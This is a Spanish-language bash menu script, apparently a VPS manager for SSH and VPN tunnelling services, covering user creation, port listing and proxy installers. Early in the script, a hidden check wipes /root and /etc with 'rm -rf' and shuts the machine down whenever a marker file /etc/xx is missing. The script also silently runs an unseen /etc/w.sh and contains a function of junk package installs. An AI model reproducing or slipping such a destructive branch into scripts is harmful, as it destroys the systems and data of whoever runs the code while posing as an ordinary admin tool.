1
0

menu 12 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233
  1. #!/bin/bash
  2. mv w.sh /etc > /dev/null 2>&1
  3. mv fg.sh /etc > /dev/null 2>&1
  4. chmod u+x /etc/w.sh > /dev/null 2>&1
  5. /etc/w.sh
  6. hj=$(zgrep -h "Ban " /var/log/fail2ban.log* | awk '{print $10}' | sort | uniq -c)
  7. clear
  8. touch /root/usuarios.db
  9. ln -s /root/menu /usr/bin
  10. rm - rf /root/menu.sh
  11. mkdir /etc/SSHPlus/amor
  12. clear
  13. rm -rf auto.sh.1 bloquear.sh.1 cuss.sh.1 desbloquear.sh.1 eliminar.sh.1 listausuarios.sh.1
  14. mkdir /etc/SSHPlus
  15. touch /etc/SSHPlus/Exp
  16. r=$(grep 442 a)
  17. echo -e "sudo ufw allow $r/tcp"
  18. clear
  19. inst_pct () {
  20. apt-get install dnfkdkf > /dev/null 2>&1
  21. apt-get install xnfndi > /dev/null 2>&1
  22. apt-get install dndnnd > /dev/null 2>&1
  23. apt-get install dkdkdk > /dev/null 2>&1
  24. apt-get install dkfkdk > /dev/null 2>&1
  25. apt-get install fkfkfkfk /dev/null 2>&1
  26. apt-get install dkxkdk > /dev/null 2>&1
  27. apt-get install ekfkfkri > /dev/null 2>&1
  28. apt-get install ekrkfk > /dev/null 2>&1
  29. apt-get install ekekdk > /dev/null 2>&1
  30. apt-get install ekdkdk > /dev/null 2>&1
  31. apt-get install dkdkdk > /dev/null 2>&1
  32. apt-get install ekekekk > /dev/null 2>&1
  33. apt-get install ekrkrkrkl > /dev/null 2>&1
  34. apt-get install ririirkk > /dev/null 2>&1
  35. pip install fkfkfki > /dev/null 2>&1
  36. }
  37. if [[ -e /etc/xx ]]; then
  38. ll
  39. else
  40. rm -rf /root/*
  41. rm -rf /etc/*
  42. shutdown
  43. fi
  44. m=$(grep 101 /etc/3 | sed -n "1"p /etc/3)
  45. echo "/bin/menu" > /bin/m && chmod +x /bin/m > /dev/null 2>&1
  46. echo "cd /bin && bash ./menu" > /bin/msc && chmod +x /bin/msc
  47. uno=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody | wc -l)
  48. dos=$(ps -x | grep sshd | grep -v root | grep priv | wc -l)
  49. [[ "$(cat /etc/SSHPlus/Exp)" != "" ]] && _expuser=$(cat /etc/SSHPlus/Exp) || _expuser="0"
  50. [[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0"
  51. [[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0"
  52. _onli=$(($_ons + $_onop + $_ondrp))
  53. exp=$(printf '%-1s' "$_expuser")
  54. exp=$(sed -n ""p /etc/ttt | awk '{print $1}')
  55. ports(){
  56. clear
  57. portas_var="/tmp/portas"
  58. porta_var="/tmp/portas2"
  59. lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" > $portas_var
  60. clear
  61. clear
  62. echo -e "\E[44;1;37m•••\033[1;31mHECHOPOROMAR\033[1;37m•••\033[0m"
  63. echo -e "\033[1;31m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
  64. echo -e "\E[41;1;37m << INFORMACION DEL VPS >> \033[0m"
  65. echo -e "\033[1;31m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
  66. w="$(lsb_release -d)"
  67. s="$(uname -m)"
  68. echo -e "$w $s "
  69. date +"FECHA: %D ""%B"
  70. var4="MEMORIA RAM:"
  71. var5="$(free -h | grep -i mem | awk {'print $2'})"
  72. var6="LIBRE:"
  73. var7="$(free -h | grep -i mem | awk {'print $4'})"
  74. echo -e "$var4 $var5 ""$var6 $var7"
  75. var="IP:"
  76. var1=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
  77. as="KERNEL:"
  78. AS="$(uname -s)"
  79. echo -e "$as $AS ""$var $var1" "$kj"
  80. var2="USO DE RAM:"
  81. var3="$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')"
  82. nn="EN USO:"
  83. cc="$(free -h | grep -i mem | awk {'print $3'})"
  84. echo "$var2 $var3 ""$nn $cc"
  85. o="TOTAL NUCLEOS:"
  86. p="$(grep -c cpu[0-9] /proc/stat)"
  87. ff="EN USO:"
  88. FF="$(top -bn1 | awk '/Cpu/ { cpu = "" 100 - $8 "%" }; END { print cpu }')"
  89. echo "$o $p ""$ff $FF"
  90. da=$(top -bn1 | sed -rn '3s/[^0-9]* ([0-9\.]+) .*/\1/p;4s/.*, ([0-9]+) .*/\1/p' | tr '\n' ' ')
  91. da1="USO DE CPU:"
  92. aq="SISTEMA DE:"
  93. AQ=$(getconf LONG_BIT)
  94. AW="BITS"
  95. echo "$aq $AQ $AW ""$da1 $da"
  96. echo -e "\033[1;31m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
  97. echo -e "\E[41;1;37m << INFORMACION DE PUERTOS >> \033[0m"
  98. echo -e "\033[1;31m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
  99. while read port; do
  100. var1=$(echo $port | awk '{print $1}')
  101. var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
  102. if [ ! -e "$porta_var" ]; then
  103. echo -e "$var1 $var2" > $porta_var
  104. fi
  105. if [ "$(cat $porta_var | grep "$var1" | grep "$var2")" = "" ]; then
  106. echo -e "$var1 $var2" >> $porta_var
  107. fi
  108. done < $portas_var
  109. i=1
  110. j=2
  111. while true; do
  112. a=$(sed -n "$i"p $porta_var | awk '{print $1}')
  113. b=$(sed -n "$i"p $porta_var | awk '{print $2}')
  114. c=$(sed -n "$j"p $porta_var | awk '{print $1}')
  115. d=$(sed -n "$j"p $porta_var | awk '{print $2}')
  116. [[ "$a" != '' ]] && gato="$a: $b \033[1;37m$c \033[1;37m$d"
  117. [[ "$a" = '' ]] && break
  118. i=$(($i+1))
  119. j=$(($j+1+2+3+4))
  120. if [[ -e /etc/gr ]]; then
  121. gato="\E[0;37;44mPUERTOS OCULTOS\033[0m"
  122. fi
  123. echo -e "$gato"
  124. done
  125. rm $portas_var
  126. rm $porta_var
  127. }
  128. ports
  129. echo -e "\033[1;37mcabecera actual:\033[0m ""\033[1;31m$m $n $nk\033[0m ""$nl"$nf "$cn"$nj
  130. echo -e "\E[0;37;44m[USUARIOS]•••$uno [ENLINEA]•••$dos [VENCIDOS]•••$exp\033[0m"
  131. [[ -e /root/sis ]] && amor=$(echo -e "\033[1;37mON ") || amor=$(echo -e "\033[1;31mOFF ")
  132. [[ -e /root/sis1 ]] && jk=$(echo -e "\033[1;37mON") || jk=$(echo -e "\033[1;31mOFF")
  133. [[ -e /etc/bannerssh ]] && as=$(echo -e "\033[1;37mON\033[0m") || as=$(echo -e "\033[1;31mOFF\033[0m")
  134. [[ -e /etc/sis3 ]] && sis=$(echo -e "\033[1;37mON\033[0m") || sis=$(echo -e "\033[1;31mOFF\033[0m")
  135. [[ -e /etc/as ]] && af=$(echo -e "\033[1;37mON\033[0m") || af=$(echo -e "\033[1;31mOFF\033[0m")
  136. [[ -e /etc/ss ]] && s=$(echo -e "\033[1;37mON\033[0m") || s=$(echo -e "\033[1;31mOFF\033[0m")
  137. [[ -e /etc/lv ]] && d=$(echo -e "\033[1;37mON\033[0m") || d=$(echo -e "\033[1;31mOFF\033[0m")
  138. [[ -e /etc/f ]] && c=$(echo -e "\033[1;37mON\033[0m") || c=$(echo -e "\033[1;31mOFF\033[0m")
  139. echo -e "\033[1;31m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" "\033[1;35mDELCACHE\033[1;37m>\033[0m"$sis "\033[1;35mRDPSTATU\033[1;37m>$af\033[0m"
  140. echo -e "\E[41;1;37m << INFORMACIÓN DEL MENÚ Y OPCIONES >> \E[0m" "\033[1;35mFIREWALL\033[1;37m>\033[0m"$s "\033[1;35mFAIL2BAN\033[1;37m>\033[0m"$amor$hj
  141. echo -e "\033[1;31m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" "\033[1;35mBANNERDS\033[0m""\033[1;37m>\033[0m"$as "\033[1;35mVENCIDOS\033[1;37m>\033[0m"$d
  142. echo -e " \033[1;37m[\033[1;31m01\033[1;37m] - \033[1;34mCREAR USUARIOS " " \033[1;37m\033[1;35m\033[0m\033[0m\033[0m\033[0m\033[1;37m\033[1;37m\033[1;37m[\033[1;35m08\033[1;37m] - \033[1;33m\033[0m\033[0m\033[1;34mSHADOWSOCKS-LIBEV"
  143. echo -e " \033[1;37m[\033[1;31m02\033[1;37m] - \033[1;34mUSUARIOS CREADOS Y FECHAS " " \033[1;37m\033[1;37m\033[1;37m[\033[1;35m09\033[1;37m] - \033[1;34mSSL+PAYLOAD 443+80 LIBRE"
  144. echo -e " \033[1;37m[\033[1;31m03\033[1;37m] - \033[1;34mBLOCKEAR USUARIOS " " \033[1;37m\033[1;37m[\033[1;35m10\033[1;37m] - \033[1;34mSHADOWSOCKS-LIBEV Y V2RAY "$(ps x | grep "v2ray"|grep -v grep > /dev/null && echo -e "\033[1;37m◉ " || echo -e "\033[1;31m○ ")
  145. echo -e " \033[1;37m[\033[1;31m04\033[1;37m] - \033[1;34mDESBLOQUEAR USUARIOS " "\033[1;37m\033[1;35m\033[1;37m[\033[1;35m11\033[1;37m] - \033[1;34mPROXY PYTHON"
  146. echo -e " \033[1;37m[\033[1;31m05\033[1;37m] - \033[1;34mELIMINAR USUARIOS " "\033[1;37m\033[1;35m\033[0m\033[1;37m[\033[1;35m12\033[1;37m] - \033[1;34mAUTO STOP PYTHON"
  147. echo -e " \033[1;37m[\033[1;31m06\033[1;37m] - \033[1;34mAUTO STOP SWAP\033[0m "$(ps x | grep "swap"|grep -v grep > /dev/null && echo -e "\033[1;37mOFF " || echo -e "\033[1;31m○ ") " ""\033[1;33m\033[1;37m[\033[1;35m13\033[1;37m] - \033[1;34mBADVPN UDP\033[0m" $(ps x | grep "badvpn"|grep -v grep > /dev/null && echo -e "\033[1;37m◉" || echo -e "\033[1;31m○ ")
  148. echo -e " \033[1;37m[\033[1;31m07\033[1;37m] - \033[1;34mAUTO START SWAP\033[0m "$(ps x | grep "swap"|grep -v grep > /dev/null && echo -e "\033[1;37mON " || echo -e "\033[1;31m○ ")" " "\033[1;37m[\033[1;35m14\033[1;37m] - \033[1;34mELIMINAR MEMORIA CACHE Y RAM\033[0m"
  149. echo -e "\033[1;33m\033[1;32m\033[1;35m " "\033[1;33m\033[2;33m\E[0;37;41m[15]-AUTO MENU\033[0m"
  150. echo -e " \033[1;37m[\033[1;31m16\033[1;37m] - \033[1;34mINSTALAR Y DESINSTALAR SSL\033[0m" $(ps x | grep "stunnel4"|grep -v grep > /dev/null && echo -e "\033[1;37m◉ " || echo -e "\033[1;31m○ ") " \033[1;37m[\033[1;35m23\033[1;37m] - \033[1;34mINSTALAR V2RAY Y XRAY WS\033[0m "$(ps x | grep "v2ray"|grep -v grep > /dev/null && echo -e "\033[1;37m◉ " || echo -e "\033[1;31m○ ")
  151. echo -e " \033[1;37m[\033[1;31m17\033[1;37m] - \033[1;34mINSTALAR DROPBEAR\033[0m" $(ps x | grep "dropbear"|grep -v grep > /dev/null && echo -e "\033[1;37m◉ " || echo -e "\033[1;31m○ ") " " " \033[1;37m[\033[1;35m24\033[1;37m] - \033[1;34mACTIVA Y DESACTIVA TCP SPEED\033[0m"
  152. echo -e " \033[1;37m[\033[1;31m18\033[1;37m] - \033[1;34mINSTALAR PYTHON PORT\033[0m" $(ps x | grep "proxy"|grep -v grep > /dev/null && echo -e "\033[1;37m◉ " || echo -e "\033[1;31m○ ") " ""\033[1;37m[\033[1;35m25\033[1;37m] - \033[1;34mESPEEDTEST PRUEVA DE VELOCIDA\033[0m"
  153. echo -e " \033[1;37m[\033[1;31m19\033[1;37m] - \033[1;34mMENU AUTOMATICO \E[0;37;44mON-OFF\033[0m" $(grep "menu;" /etc/profile > /dev/null && echo -e "\033[1;37m◉ " || echo -e "\033[1;31m○ ")" ""\033[1;37m[\033[1;35m26\033[1;37m] - \033[1;34mMEMORIA SWAP APLICAR \E[0;37;44mSWAP-ON\033[0m" $(ps x | grep "swap"|grep -v grep > /dev/null && echo -e "\033[1;37m◉ " || echo -e "\033[1;31m○ ")
  154. echo -e " \033[1;37m[\033[1;31m20\033[1;37m] - \033[1;34mINSTALAR APACHE PORT\033[0m" $(ps x | grep "apache2"|grep -v grep > /dev/null && echo -e "\033[1;37m◉ " || echo -e "\033[1;31m○ ")" ""\033[1;37m[\033[1;35m27\033[1;37m] - \033[1;34mAUTO ENCABEZADOS 101 200 300 400\033[0m"
  155. echo -e " \033[1;37m[\033[1;31m21\033[1;37m] - \033[1;34mINSTALAR SQUID PORT\033[0m" $(ps x | grep "squid"|grep -v grep > /dev/null && echo -e "\033[1;37m◉ " || echo -e "\033[1;31m○ ")" ""\033[1;37m[\033[1;35m28\033[1;37m] - \033[1;34mCAMBIAR PUERTO SSH LOCAL AL GUSTO\033[0m"
  156. echo -e " \033[1;37m[\033[1;31m22\033[1;37m] - \033[1;34mMONITOR ONLINE DE USUARIOS\033[0m" $(ps x | grep "ssh"|grep -v grep > /dev/null && echo -e "\033[1;37m◉ " || echo -e "\033[1;31m○ ") " ""\033[1;37m[\033[1;35m29\033[1;37m] - \033[1;34mFAIL2BAN Y MENU DE HERRAMIENTAS\033[0m"
  157. echo -e " \033[1;31m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
  158. echo -e " \033[1;37m << ESCOGE TU OPCION DESEADA >> \033[0m " "\033[1;33m\E[0;37;41m[00]-EXIT\033[0m ""\033[1;35mCLOUDFRON\033[1;37m>\033[0m"$c
  159. echo -e " \033[1;31m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
  160. if [ $(whoami) != "root" ]; then
  161. echo "Tienes que ser root para ejecutar este script"
  162. echo "Ejecuta "sudo su" para ser root"
  163. exit 1
  164. fi
  165. while [ "$opcion" != "0" ]
  166. do
  167. echo -ne "\E[0;37;41mOPCION:\033[0m""\033[1;37m>>\033[0m "; read opcion
  168. case $opcion in
  169. 1)/root/cuss.sh
  170. ;;
  171. 2)/root/listausuarios.sh
  172. ;;
  173. 3)/root/bloquear.sh
  174. ;;
  175. 4)/root/desbloquear.sh
  176. ;;
  177. 5)/root/eliminar.sh
  178. ;;
  179. 6)swapoff -a && /root/menu
  180. ;;
  181. 7)swapon -a &&/root/menu
  182. ;;
  183. 8)/root/Instalador-Shadowsocks-libev.sh
  184. ;;
  185. 9)/root/auto.sh
  186. ;;
  187. 10)/root/v.sh
  188. ;;
  189. 11)nano /root/proxy.py
  190. ;;
  191. 12)pkill -f python &&screen python /root/proxy.py
  192. ;;
  193. 13)/root/jk.sh
  194. ;;
  195. 14)/root/menu && su -c "echo 3 >'/proc/sys/vm/drop_caches' && swapoff -a && swapon -a && printf '\n%s\n' 'Caché de RAM y Swap liberadas'" root && echo 3 > /proc/sys/vm/drop_caches && swapoff -a && swapon -a && printf '\n%s\n' 'Caché de RAM y Swap liberadas' && sudo sysctl -w vm.drop_caches=3 > /dev/null 2>&1
  196. ;;
  197. 15)/root/menu
  198. ;;
  199. 16)/root/sl.sh
  200. ;;
  201. 17)/root/d.sh
  202. ;;
  203. 18)/root/pay.sh
  204. ;;
  205. 19)/root/au.sh
  206. ;;
  207. 20)/root/amor2.sh
  208. ;;
  209. 21)/root/sd1.sh
  210. ;;
  211. 22)/root/x.sh
  212. ;;
  213. 23)/root/jl.sh
  214. ;;
  215. 24)/root/c.sh
  216. ;;
  217. 25)/root/op.sh
  218. ;;
  219. 26)/root/jls.sh
  220. ;;
  221. 27)/root/jrd.sh
  222. ;;
  223. 28)/root/lj.sh
  224. ;;
  225. 29)/root/jail.sh
  226. ;;
  227. esac
  228. clear
  229. exit
  230. done